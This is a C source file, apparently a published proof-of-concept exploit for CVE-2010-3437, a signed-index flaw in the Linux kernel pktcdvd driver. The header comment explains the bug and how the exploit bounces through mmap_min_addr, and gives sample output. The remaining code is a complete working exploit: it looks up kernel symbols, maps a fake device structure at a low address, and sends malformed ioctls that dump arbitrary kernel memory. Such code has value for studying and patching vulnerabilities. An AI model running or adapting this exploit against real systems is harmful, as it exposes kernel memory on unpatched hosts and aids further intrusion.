/* * cve-2010-3437.c * * Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure * Jon Oberheide * http://jon.oberheide.org * * Information: * * https://bugzilla.redhat.com/show_bug.cgi?id=638085 * * The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a * pktcdvd_device from the global pkt_devs array. The index into this * array is provided directly by the user and is a signed integer, so the * comparison to ensure that it falls within the bounds of this array will * fail when provided with a negative index. * * Usage: * * $ gcc cve-2010-3437.c -o cve-2010-3437 * $ ./cve-2010-3437 * usage: ./cve-2010-3437
* $ ./cve-2010-3437 0xc0102290 64 * [+] searching for pkt_devs kernel symbol... * [+] found pkt_devs at 0xc08d3a00 * [+] searching for mmap_min_addr kernel symbol... * [+] found mmap_min_addr at 0xc08c8c28 * [+] mmap_min_addr is 44504 bytes away from pkt_devs * [+] calculated device index of -11126 * [+] trying to mmap page at 0x1000 for pktcdvd_device dereference... * [+] trying to mmap page at 0x10000 for pktcdvd_device dereference... * [+] opening pktcdvd device... * [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls... * [+] dumping kmem to output... * * 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ... * 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ... * * Notes: * * Pass the desired kernel memory address and dump length as arguments. * * We can disclose 4 bytes of arbitrary kernel memory per ioctl call by * specifying a large negative device index, causing the kernel to * dereference to an attacker-controlled address and copy data to * userspace. Since only 4 bytes of kmem are disclosed per ioctl call, * large dump sizes may take a few seconds. * * On 32-bit, it's easy enough to reach a userspace address with the * negative device index. However, 64-bit is a bit trickier, and we need * to bounce through a predictable address in kernel memory that has a * predictable value that is also mmap'able (eg. >= mmap_min_addr). The * best candidate is actually mmap_min_addr itself whose address can be * pulled from available symbols and whose value can be inferred with a * couple mmap guesses (4096, 65536). So we reference the address of * mmap_min_addr in the kernel using the negative device index, which * bounces us to its value in userspace (either 0x1000 or 0x10000), hits * the fake pktcdvd_device structure set up there, and copies 4 bytes from * an arbitrary kernel memory address to userspace. * * Tested on Ubuntu Lucid 10.04. */ #include #include #include #include #include #include #include #include #include #include #include #define PKT_CTRL_CMD_STATUS 2 #define PACKET_IOCTL_MAGIC ('X') #define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command) #define MINORBITS 20 #define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi)) struct pkt_ctrl_command { uint32_t command; int32_t dev_index; uint32_t dev; uint32_t pkt_dev; uint32_t num_devices; uint32_t padding; }; uint32_t new_decode_dev(uint32_t dev) { unsigned major = (dev & 0xfff00) >> 8; unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00); return MKDEV(major, minor); } const char hex_asc[] = "0123456789abcdef"; #define hex_asc_lo(x) hex_asc[((x) & 0x0f)] #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4] void hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii) { const uint8_t *ptr = buf; uint8_t ch; int j, lx = 0; int ascii_column; if (rowsize != 16 && rowsize != 32) rowsize = 16; if (!len) goto nil; if (len > rowsize) len = rowsize; if ((len % groupsize) != 0) groupsize = 1; switch (groupsize) { case 8: { const uint64_t *ptr8 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%16.16llx ", (unsigned long long)*(ptr8 + j)); ascii_column = 17 * ngroups + 2; break; } case 4: { const uint32_t *ptr4 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%8.8x ", *(ptr4 + j)); ascii_column = 9 * ngroups + 2; break; } case 2: { const uint16_t *ptr2 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%4.4x ", *(ptr2 + j)); ascii_column = 5 * ngroups + 2; break; } default: for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen; j++) { ch = ptr[j]; linebuf[lx++] = hex_asc_hi(ch); linebuf[lx++] = hex_asc_lo(ch); linebuf[lx++] = ' '; } ascii_column = 3 * rowsize + 2; break; } if (!ascii) goto nil; while (lx < (linebuflen - 1) && lx < (ascii_column - 1)) linebuf[lx++] = ' '; for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++) linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j] : '.'; nil: linebuf[lx++] = '\0'; } void print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii) { const uint8_t *ptr = buf; int i, linelen, remaining = len; unsigned char linebuf[200]; if (rowsize != 16 && rowsize != 32) rowsize = 16; for (i = 0; i < len; i += rowsize) { linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize)); remaining -= rowsize; hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize, linebuf, sizeof(linebuf), ascii); printf("%s\n", linebuf); } } unsigned long get_kernel_symbol(char *name) { FILE *f; unsigned long addr; struct utsname ver; char dummy, sname[512]; int ret, rep = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { goto fallback; } oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) { return 0; } fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) { oldstyle = 1; } sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) { return 0; } rep = 1; goto repeat; } void usage(char **argv) { fprintf(stderr, "usage: %s
\n", argv[0]); exit(1); } int main(int argc, char **argv) { int fd, ret, length, dev_idx, diff; void *mem, *dump, *ptr; struct pkt_ctrl_command cmd; unsigned long mmap_min_addr, pkt_devs; unsigned long map_addr, start_addr, end_addr, curr_addr; if (argc < 3) { usage(argv); } start_addr = strtoul(argv[1], NULL, 0); length = strtoul(argv[2], NULL, 0); end_addr = start_addr + length; dump = malloc(length); if (!dump) { printf("[-] failed to allocate memory for kmem dump\n"); exit(1); } memset(dump, '$', length); /* stuff buffer with cash money */ printf("[+] searching for pkt_devs kernel symbol...\n"); pkt_devs = get_kernel_symbol("pkt_devs"); if (!pkt_devs) { printf("[-] could not find pkt_devs kernel symbol\n"); exit(1); } printf("[+] found pkt_devs at %p\n", (void *) pkt_devs); printf("[+] searching for mmap_min_addr kernel symbol...\n"); mmap_min_addr = get_kernel_symbol("mmap_min_addr"); if (!mmap_min_addr) { printf("[-] could not find mmap_min_addr kernel symbol\n"); exit(1); } printf("[+] found mmap_min_addr at %p\n", (void *) mmap_min_addr); diff = pkt_devs - mmap_min_addr; if (diff < 0) { printf("[-] pkt_devs occurs before mmap_min_addr, find a better target symbol\n"); exit(1); } printf("[+] mmap_min_addr is %d bytes away from pkt_devs\n", diff); dev_idx = -(diff / sizeof(void *)); printf("[+] calculated device index of %d\n", dev_idx); map_addr = 0x1000; printf("[+] trying to mmap page at %p for pktcdvd_device dereference...\n", (void *) map_addr); mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem == MAP_FAILED) { map_addr = 0x10000; printf("[+] trying to mmap page at %p for pktcdvd_device dereference...\n", (void *) map_addr); mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem == MAP_FAILED) { printf("[-] mmap failed\n"); exit(1); } } printf("[+] opening pktcdvd device...\n"); fd = open("/dev/pktcdvd/control", O_RDWR); if (fd < 0) { printf("[-] open of pktcdvd device failed\n"); exit(1); } printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr); memset(&cmd, 0, sizeof(cmd)); cmd.command = PKT_CTRL_CMD_STATUS; cmd.dev_index = dev_idx; ptr = dump; curr_addr = start_addr; while (curr_addr < end_addr) { *(unsigned long *) map_addr = curr_addr; ret = ioctl(fd, PACKET_CTRL_CMD, &cmd); if (ret < 0) { printf("[-] ioctl of pktcdvd device failed\n"); exit(1); } *(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev); curr_addr += sizeof(uint32_t); ptr += sizeof(uint32_t); } printf("[+] dumping kmem to output...\n"); printf("\n"); print_hex_dump(32, 1, dump, length, 1); printf("\n"); return 0; }